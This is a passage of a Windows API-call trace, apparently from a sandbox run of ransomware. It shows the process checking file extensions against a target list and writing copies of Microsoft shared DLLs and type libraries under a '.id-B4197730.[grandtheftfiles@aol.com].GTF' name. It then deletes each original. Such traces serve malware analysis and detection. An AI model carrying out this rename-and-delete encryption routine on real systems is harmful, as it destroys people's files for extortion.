	[0089.739] lstrlenW (lpString=".ppt") returned 4
	[0089.739] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.739] lstrlenW (lpString=".zip") returned 4
	[0089.739] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.739] lstrlenW (lpString=".rar") returned 4
	[0089.739] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.739] lstrlenW (lpString=".bz2") returned 4
	[0089.739] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.739] lstrlenW (lpString=".7z") returned 3
	[0089.739] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.739] lstrlenW (lpString=".dbf") returned 4
	[0089.739] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.739] lstrlenW (lpString=".1cd") returned 4
	[0089.739] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.740] lstrlenW (lpString=".jpg") returned 4
	[0089.740] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.740] lstrlenW (lpString=".doc") returned 4
	[0089.740] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.740] lstrlenW (lpString=".docx") returned 5
	[0089.740] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0089.740] lstrlenW (lpString=".pdf") returned 4
	[0089.740] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.740] lstrlenW (lpString=".xls") returned 4
	[0089.740] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.740] lstrlenW (lpString=".xlsx") returned 5
	[0089.740] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0089.740] lstrlenW (lpString=".ppt") returned 4
	[0089.740] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.740] lstrlenW (lpString=".zip") returned 4
	[0089.740] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.740] lstrlenW (lpString=".rar") returned 4
	[0089.740] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.740] lstrlenW (lpString=".bz2") returned 4
	[0089.740] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.740] lstrlenW (lpString=".7z") returned 3
	[0089.740] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.740] lstrlenW (lpString=".dbf") returned 4
	[0089.740] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.740] lstrlenW (lpString=".1cd") returned 4
	[0089.740] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.741] lstrlenW (lpString=".jpg") returned 4
	[0089.741] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.741] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.741] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23
	[0089.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0089.741] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=48872) returned 1
	[0089.741] CloseHandle (hObject=0x384) returned 1
	[0089.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20
	[0089.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0089.742] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.742] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.742] GetLastError () returned 0x0
	[0089.742] ReadFile (in: hFile=0x384, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0xbee8, lpOverlapped=0x0) returned 1
	[0089.748] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xbef0, lpOverlapped=0x0) returned 1
	[0089.751] ReadFile (in: hFile=0x384, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.751] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x102, lpOverlapped=0x0) returned 1
	[0089.752] SetEndOfFile (hFile=0x370) returned 1
	[0089.752] CloseHandle (hObject=0x370) returned 1
	[0089.752] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.752] SetEndOfFile (hFile=0x384) returned 1
	[0089.753] CloseHandle (hObject=0x384) returned 1
	[0089.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1
	[0089.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.753] lstrlenW (lpString=".doc") returned 4
	[0089.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.754] lstrlenW (lpString=".docx") returned 5
	[0089.754] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0089.754] lstrlenW (lpString=".pdf") returned 4
	[0089.754] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.754] lstrlenW (lpString=".xls") returned 4
	[0089.754] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.754] lstrlenW (lpString=".xlsx") returned 5
	[0089.754] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0089.754] lstrlenW (lpString=".ppt") returned 4
	[0089.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.754] lstrlenW (lpString=".zip") returned 4
	[0089.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.754] lstrlenW (lpString=".rar") returned 4
	[0089.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.754] lstrlenW (lpString=".bz2") returned 4
	[0089.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.754] lstrlenW (lpString=".7z") returned 3
	[0089.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.754] lstrlenW (lpString=".dbf") returned 4
	[0089.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.754] lstrlenW (lpString=".1cd") returned 4
	[0089.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.754] lstrlenW (lpString=".jpg") returned 4
	[0089.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.754] lstrlenW (lpString=".doc") returned 4
	[0089.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.754] lstrlenW (lpString=".docx") returned 5
	[0089.755] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0089.755] lstrlenW (lpString=".pdf") returned 4
	[0089.755] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.755] lstrlenW (lpString=".xls") returned 4
	[0089.755] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.755] lstrlenW (lpString=".xlsx") returned 5
	[0089.755] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0089.755] lstrlenW (lpString=".ppt") returned 4
	[0089.755] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.755] lstrlenW (lpString=".zip") returned 4
	[0089.755] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.755] lstrlenW (lpString=".rar") returned 4
	[0089.755] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.755] lstrlenW (lpString=".bz2") returned 4
	[0089.755] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.755] lstrlenW (lpString=".7z") returned 3
	[0089.755] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.755] lstrlenW (lpString=".dbf") returned 4
	[0089.755] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.755] lstrlenW (lpString=".1cd") returned 4
	[0089.755] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0089.755] lstrlenW (lpString=".jpg") returned 4
	[0089.755] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.755] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.755] lstrlenW (lpString="vstoee.dll") returned 10
	[0089.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.762] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=168064) returned 1
	[0089.762] CloseHandle (hObject=0x390) returned 1
	[0089.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20
	[0089.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.763] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.763] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.767] GetLastError () returned 0x0
	[0089.767] ReadFile (in: hFile=0x390, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x29080, lpOverlapped=0x0) returned 1
	[0089.779] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x29090, lpOverlapped=0x0) returned 1
	[0089.783] ReadFile (in: hFile=0x390, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.783] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0089.783] SetEndOfFile (hFile=0x370) returned 1
	[0089.783] CloseHandle (hObject=0x370) returned 1
	[0089.783] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.783] SetEndOfFile (hFile=0x390) returned 1
	[0089.785] CloseHandle (hObject=0x390) returned 1
	[0089.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.785] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1
	[0089.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.786] lstrlenW (lpString=".doc") returned 4
	[0089.786] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.786] lstrlenW (lpString=".docx") returned 5
	[0089.786] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0089.786] lstrlenW (lpString=".pdf") returned 4
	[0089.786] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.786] lstrlenW (lpString=".xls") returned 4
	[0089.786] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.786] lstrlenW (lpString=".xlsx") returned 5
	[0089.786] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0089.786] lstrlenW (lpString=".ppt") returned 4
	[0089.786] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.786] lstrlenW (lpString=".zip") returned 4
	[0089.786] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.786] lstrlenW (lpString=".rar") returned 4
	[0089.786] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.786] lstrlenW (lpString=".bz2") returned 4
	[0089.786] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.786] lstrlenW (lpString=".7z") returned 3
	[0089.786] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.786] lstrlenW (lpString=".dbf") returned 4
	[0089.786] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.787] lstrlenW (lpString=".1cd") returned 4
	[0089.787] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.787] lstrlenW (lpString=".jpg") returned 4
	[0089.787] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.787] lstrlenW (lpString=".doc") returned 4
	[0089.787] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.787] lstrlenW (lpString=".docx") returned 5
	[0089.787] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0089.787] lstrlenW (lpString=".pdf") returned 4
	[0089.787] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.787] lstrlenW (lpString=".xls") returned 4
	[0089.787] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.787] lstrlenW (lpString=".xlsx") returned 5
	[0089.787] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0089.787] lstrlenW (lpString=".ppt") returned 4
	[0089.787] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.787] lstrlenW (lpString=".zip") returned 4
	[0089.787] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.787] lstrlenW (lpString=".rar") returned 4
	[0089.787] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.787] lstrlenW (lpString=".bz2") returned 4
	[0089.787] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.787] lstrlenW (lpString=".7z") returned 3
	[0089.787] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.787] lstrlenW (lpString=".dbf") returned 4
	[0089.787] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.787] lstrlenW (lpString=".1cd") returned 4
	[0089.787] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0089.788] lstrlenW (lpString=".jpg") returned 4
	[0089.788] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.788] lstrcmpiW (lpString1=".tlb", lpString2=".GTF") returned 1
	[0089.788] lstrlenW (lpString="vstoee100.tlb") returned 13
	[0089.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.789] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=17048) returned 1
	[0089.789] CloseHandle (hObject=0x390) returned 1
	[0089.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20
	[0089.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.789] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.789] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.790] GetLastError () returned 0x0
	[0089.790] ReadFile (in: hFile=0x390, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x4298, lpOverlapped=0x0) returned 1
	[0089.791] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x42a0, lpOverlapped=0x0) returned 1
	[0090.178] ReadFile (in: hFile=0x390, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.178] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xee, lpOverlapped=0x0) returned 1
	[0090.178] SetEndOfFile (hFile=0x370) returned 1
	[0090.178] CloseHandle (hObject=0x370) returned 1
	[0090.178] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.178] SetEndOfFile (hFile=0x390) returned 1
	[0090.179] CloseHandle (hObject=0x390) returned 1
	[0090.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.179] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1
	[0090.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.180] lstrlenW (lpString=".doc") returned 4
	[0090.180] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0090.180] lstrlenW (lpString=".docx") returned 5
	[0090.180] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0090.180] lstrlenW (lpString=".pdf") returned 4
	[0090.180] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0090.180] lstrlenW (lpString=".xls") returned 4
	[0090.180] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0090.180] lstrlenW (lpString=".xlsx") returned 5
	[0090.180] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0090.180] lstrlenW (lpString=".ppt") returned 4
	[0090.180] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0090.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.180] lstrlenW (lpString=".zip") returned 4
	[0090.180] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0090.180] lstrlenW (lpString=".rar") returned 4
	[0090.180] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0090.180] lstrlenW (lpString=".bz2") returned 4
	[0090.180] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0090.180] lstrlenW (lpString=".7z") returned 3
	[0090.180] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
